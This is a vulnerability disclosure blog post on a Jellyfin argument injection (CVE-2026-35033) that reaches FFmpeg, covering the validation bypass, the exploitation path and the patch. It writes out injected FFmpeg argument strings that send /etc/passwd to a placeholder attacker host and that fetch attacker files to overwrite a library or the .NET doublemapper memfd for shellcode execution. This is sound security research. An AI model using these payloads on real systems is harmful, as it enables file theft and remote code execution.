Jellyfin remote code execution: Inconsistent validation leads to argument injection

12 min de lectura

Paul Gerste photo

Paul Gerste

Vulnerability Researcher

TL;DR overview

  • A Jellyfin argument injection vulnerability (CVE-2026-35033) allows unauthenticated attackers to execute arbitrary code on instances prior to version 10.11.7.
  • Inconsistent validation bypasses regex checks when transcoding options are parsed from semicolon-separated query parameters.
  • Attackers can manipulate FFmpeg command line arguments to read and write arbitrary files using a known video ID.
  • Writing shellcode to the .NET JIT compiler doublemapper memfd virtual file achieves code execution.

Jellyfin is a popular open-source media system written in C# with over 50,000 stars on GitHub. Users can manage their media library and stream media to various clients. To ensure compatibility and smooth playback, Jellyfin integrates with FFmpeg for on-the-fly media transcoding.

While reviewing the code base, we discovered a new argument injection vulnerability that is a variant of previous FFmpeg argument injection flaws (CVE-2025-31499, CVE-2023-49096). While many user-controllable parameters are now validated in Jellyfin, we identified a validation bypass that allows an attacker to inject arbitrary arguments into the FFmpeg command line.

In this blog post, we dive into the technical details of the vulnerability, cover the exploitation path, present a new attacker primitive to turn file writes into code execution in .NET environments, and take a look at how this vulnerability was patched.

Impact

The vulnerability we discovered is tracked as CVE-2026-35033 and affects Jellyfin versions before 10.11.7. The vulnerability is an argument injection in a media playback API endpoint and can allow unauthenticated attackers to execute arbitrary code on vulnerable Jellyfin instances.

The only requirement for an attacker is that they need to know a valid video ID. This can easily be obtained by authenticated attackers by retrieving one from the API. Unauthenticated attackers can still reach the vulnerable endpoint but it is harder for them to obtain a valid video ID. However, video IDs are not random but derived from the file path of the underlying media file. If an attacker can guess a path, they can compute a valid video ID and exploit the vulnerability.

Technical Details

Jellyfin allows users to manage and view their own media library. To provide smooth playback compatible with many clients, Jellyfin integrates with FFmpeg to transcode media files on the fly. The client can set some transcoding options, but these are limited to a safe subset. The playback API endpoint at /Videos/<id>/stream can be reached without authentication, but it requires knowledge of a valid ID. Such IDs can either be obtained by authenticated users via the API, but they are also guessable since they are essentially derived from the media file's path.

Malicious transcoding options

When an attacker knows such an ID, they can request the video file along with some transcoding options. The transcoding options can be passed in two different ways: as individual query parameters, or as a single params query parameter where many values are semicolon separated:

?params=;mydevice;a1b2c3d4;false;h264;aac;1;-1;2000000;192000;2;30;1920;1080;0;high; [...]

For many of the individual query parameters, custom attributes are used to limit them to sane values:

public async Task<ActionResult> GetVideoStream(
    // ...
    [FromQuery] [RegularExpression(EncodingHelper.LevelValidationRegex)] string? level,
    // ...
{
    // ...
    var streamingRequest = new VideoRequestDto
    {
        // ...
        Level = level,
    };

In this example, the LevelValidationRegex makes sure that level can only be a floating point number. However, these limits are not enforced in the same way when the values are parsed from the semicolon-separated params. The string value of this combined parameter is passed to StreamingHelpers.ParseParams() which unpacks the semicolon-separated list into the respective fields of a VideoRequestDto object. For field 15, the value is assigned to the Level field:

private static void ParseParams(StreamingRequestDto request)
{
    // ...
    var vals = request.Params.Split(';');
    var videoRequest = request as VideoRequestDto;
    for (var i = 0; i < vals.Length; i++)
    {
        var val = vals[i];
        // ...
        switch (i)
        {
            // ...
            case 15:
                if (videoRequest is not null)
                {
                    videoRequest.Level = val;
                }

As we can see, no regex validation is performed in this path but the fully user-controlled string value lands in the same Level field as the regex-validated level query parameter would. From here, the string flows through some more parsing logic where it is eventually converted into a value FFmpeg understands:

public static string NormalizeTranscodingLevel(EncodingJobInfo state, string level)
{
    if (double.TryParse(level, CultureInfo.InvariantCulture, out double requestLevel))
    {
        // ...
    }

    return level;
}

If the user-provided value cannot be parsed as a double, the original value is passed on. This is a double-edged sword: it makes Jellyfin compatible with all kinds of values that FFmpeg might understand, but it also allows user-controlled content to flow deeper into the system. At the final step, the level value is added to the list of arguments passed to FFmpeg. There are several cases for well-known values, but there's again a fallback clause that passes on the original, user-controllable value:

public string GetVideoQualityParam(EncodingJobInfo state, string videoEncoder, EncodingOptions encodingOptions, EncoderPreset defaultPreset)
{
    var param = string.Empty;
    // ...
    var level = state.GetRequestedLevel(targetVideoCodec);
    if (!string.IsNullOrEmpty(level))
    {
        level = NormalizeTranscodingLevel(state, level);
        if (string.Equals(videoEncoder, "h264_qsv", StringComparison.OrdinalIgnoreCase))
            // ...
        else if (!string.Equals(videoEncoder, "libx265", StringComparison.OrdinalIgnoreCase))
        {
            param += " -level " + level;
        }

On the first look, it seems that this might be a command injection vulnerability. However, due to the way Jellyfin and .NET pass the argument string to the system, it is not evaluated in a shell context. An attacker is therefore unable to append additional commands or inject subshells, but can still inject additional FFmpeg arguments!

From argument injection to impact

FFmpeg is a very versatile piece of software. It supports a wide variety of formats and operations, so it comes with an even greater number of arguments to configure them. For example, FFmpeg can't just process files but also network sources, making it possible to send and receive data.

Reading arbitrary files. To exfiltrate files from the system, an attacker could tell ffmpeg to read a file and copy it to a network destination by injecting the following arguments:

-f null /dev/null -f data -i /etc/passwd -map 1:0 -c copy -f data tcp://<ATTACKER>:<PORT> -map 0:0 -map 0:1

The -f null /dev/null part at the beginning makes sure that the arguments preceding the injection points do not mess with the attacker operation by redirecting it to /dev/null via the null format. The -map 0:0 -map 0:1 part at the end makes sure that any subsequent arguments after the injection point will correctly refer to the original options, preventing FFmpeg from aborting due to errors. The core of the injected arguments tells FFmpeg to use the data format so the file content is not parsed (-f data), where to read the data from (-i /etc/passwd), to only copy the data instead of converting it (-c copy), and to send the resulting output to a network destination (tcp://<ATTACKER>:<PORT>).

Writing arbitrary files. In the same way, an attacker can write arbitrary files by instructing FFmpeg to copy data from a network source into an attacker-controlled file path:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /tmp/written -map 0:0 -map 0:1

Here, the network address becomes the source while the file path becomes the destination. The attacker can, for example, host the file content on an HTTP server that FFmpeg will download the file from.

Executing arbitrary code. A file write primitive is usually powerful enough to let an attacker execute arbitrary code, for example by writing webshells or overwriting code files. This is also possible in the case of Jellyfin, for example by overwriting libogg.so:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /lib/x86_64-linux-gnu/libogg.so.0 -map 0:0 -map 0:1

However, this highly depends on the environment in which Jellyfin runs. For example, when deploying it via Docker Compose, the compose file contains a comment that recommends running Jellyfin as a low-privileged user. In that case, overwriting libogg.so would fail due to file permissions. So we asked ourselves: Is there a way an attacker can turn this vulnerability into code execution in most environments?

A new primitive: from file write to shellcode execution in .NET

During previous research into Node.js, we found out that libuv, which powers Node.js's event loop, uses pipes to pass raw pointers between threads. Such file descriptors are reachable on Linux via procfs, for example as /proc/<pid>/fd/<fd>. This allowed an attacker with a file write primitive to write into the writable end of such a pipe and therefore send untrusted pointers into Node.js internals. From there it was possible to execute arbitrary code by constructing a ROP chain, even without leaking further information about the process memory layout.

While looking for a code execution gadget, we also inspected Jellyfin's open file descriptors and spotted something interesting:

$ ls -lv /proc/1/fd/
total 0
lrwx------ 1 root root 64 May 12 15:05 0 -> /dev/null
l-wx------ 1 root root 64 May 12 15:05 1 -> pipe:[4312163]
l-wx------ 1 root root 64 May 12 15:05 2 -> pipe:[4312164]
lr-x------ 1 root root 64 May 12 15:05 3 -> pipe:[4310669]
l-wx------ 1 root root 64 May 12 15:05 4 -> pipe:[4310669]
lrwx------ 1 root root 64 May 12 15:05 5 -> /dev/null
l-wx------ 1 root root 64 May 12 15:05 6 -> pipe:[4312163]
l-wx------ 1 root root 64 May 12 15:05 7 -> pipe:[4312164]
lrwx------ 1 root root 64 May 12 15:05 8 -> /memfd:doublemapper
lrwx------ 1 root root 64 May 12 15:05 9 -> socket:[4310671]

While there are also pipes, the memfd one caught our attention and, after some investigation, we figured out what it is. Normally, C# code is compiled to bytecode (CIL), which the .NET runtime then turns into native machine code at runtime via its JIT compiler before executing it.

The current iteration of that JIT compiler is called RyuJIT, and it has to solve a problem that all JIT compilers face: creating new, executable code at runtime while sticking to the "W^X" security paradigm of never having a memory region that is both writable and executable at the same time. The .NET runtime's ExecutableAllocator solves this by "double-mapping" a shared memory region. First, it creates a permanent executable mapping that the JIT-compiled code runs from. Whenever it needs to modify the code, a short-lived writable mapping is created at a different virtual address, which is used for the modification and unmapped immediately after.

To map the same memory region twice, the allocator needs a backing store. This could be a regular file on disk, but that would be slow as file operations tend to be much slower than keeping data in memory. That is where the memfd comes in: it is an "anonymous file", a virtual file that only lives in memory but can be addressed like a regular file descriptor. We can see that different offsets within the same memfd are mapped as either writable or executable:

$ cat /proc/1/maps | grep doublemapper | head
7a4a567ce000-7a4a567d0000 rw-s 035da000 00:01 3981                       /memfd:doublemapper
7a4a567ea000-7a4a567ec000 rw-s 035d9000 00:01 3981                       /memfd:doublemapper
7a8aee011000-7a8aee013000 rw-s 035d8000 00:01 3981                       /memfd:doublemapper
7a8af12b0000-7a8af12b1000 r-xs 00000000 00:01 3981                       /memfd:doublemapper
7a8af12c0000-7a8af12c3000 rw-s 00001000 00:01 3981                       /memfd:doublemapper
7a8af12c4000-7a8af12cc000 rw-s 00005000 00:01 3981                       /memfd:doublemapper
7a8af12cd000-7a8af12d0000 r-xs 0000e000 00:01 3981                       /memfd:doublemapper
7a8af12d0000-7a8af12e0000 rw-s 00011000 00:01 3981                       /memfd:doublemapper

Regardless of the mapped addresses and their permissions, the backing memfd contains all the native machine code of all JIT-compiled functions. This means that overwriting the contents of the file will overwrite that native code with attacker-controlled instructions. These will be executed the next time any of the JIT-compiled functions is invoked. This makes the doublemapper memfd a perfect file write gadget for attackers as they can write arbitrary shellcode which gets executed almost immediately.

In the case of Jellyfin, the file descriptor number of the doublemapper memfd is always 8. When deploying Jellyfin via the official container image, Jellyfin itself is the first process in the container. This means that the attacker can write shellcode into /proc/1/fd/8 to execute their shellcode and gain remote code execution. To do this, the attacker can use the file write payload used earlier with this new target path:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /proc/1/fd/8 -map 0:0 -map 0:1

There is just a small problem: when FFmpeg opens the target file to write into it, it does so with the O_TRUNC flag like most software would. This will immediately truncate the file to a length of 0 before the write adds new content, increasing the file size again. However, in this short time frame between opening (and therefore truncating) the file, and writing the new content, the .NET process will crash if it tries to execute any of the JIT-compiled code. Each mapped section points to a specific offset within the memfd, and if that offset does not exist because the file got truncated, the process crashes with SIGBUS.

Fortunately for attackers, the specific file write via FFmpeg has a solution for that. FFmpeg supports the -truncate 0 argument which simply drops the O_TRUNC during file opening. Now the file stays the same until the new content is actually written to it making a crash extremely unlikely.

All that is left to do for the attacker is to write a few megabytes of shellcode into the memfd. Jellyfin is an ASP.NET Core app running on the built-in Kestrel server. This server has different threads and one of them frequently executes the same function, triggering the attacker's shellcode almost immediately. In other environments, the attacker could likely cause JIT-compilation of a specific function by calling it a lot before the file write and then make the application call the function again to trigger their shellcode.

Patch

To fix the vulnerability, the Jellyfin maintainers made sure to apply the same regex-based validation to the level param taken from the semicolon-separated list. This prevents attackers from controlling arbitrary FFmpeg arguments, so the FFmpeg usage becomes safe again. The maintainers also ported the changes to other endpoints that have similar data flows. The key learning is to make sure you validate all data paths the same way. If downstream code relies on earlier validations, things will break if attackers can find another way to smuggle unvalidated data.

Timeline

DateAction
2026-03-31We report the issue to the Jellyfin maintainers
2026-03-31The Jellyfin maintainers confirm the issue and let us know this has been reported in parallel by other researchers
2026-04-01The Jellyfin maintainers release the fix in version 10.11.7

Summary

This blog post shows the importance of input validation, and that it's crucial to perform it on all the inputs, not just some. As we've seen in Jellyfin, missing a single input can lead to vulnerabilities with severe impact. The vulnerability allowed remote code execution via argument injection into the media transcoder.

Our research also shows that the security of a system depends on all components. The design of .NET's JIT compiler prevents memory pages that are writable and executable at the same time, but creates a powerful attack primitive at the same time. Attackers can simply write shellcode into the doublemapper file and have it executed by the .NET program.

Finally we would like to thank the Jellyfin maintainers for their great communications and very fast fixes. Great work!

Genera confianza en cada línea de código

Integra SonarQube en tu flujo de trabajo y empieza a detectar vulnerabilidades hoy mismo.

Rating image

4.6 / 5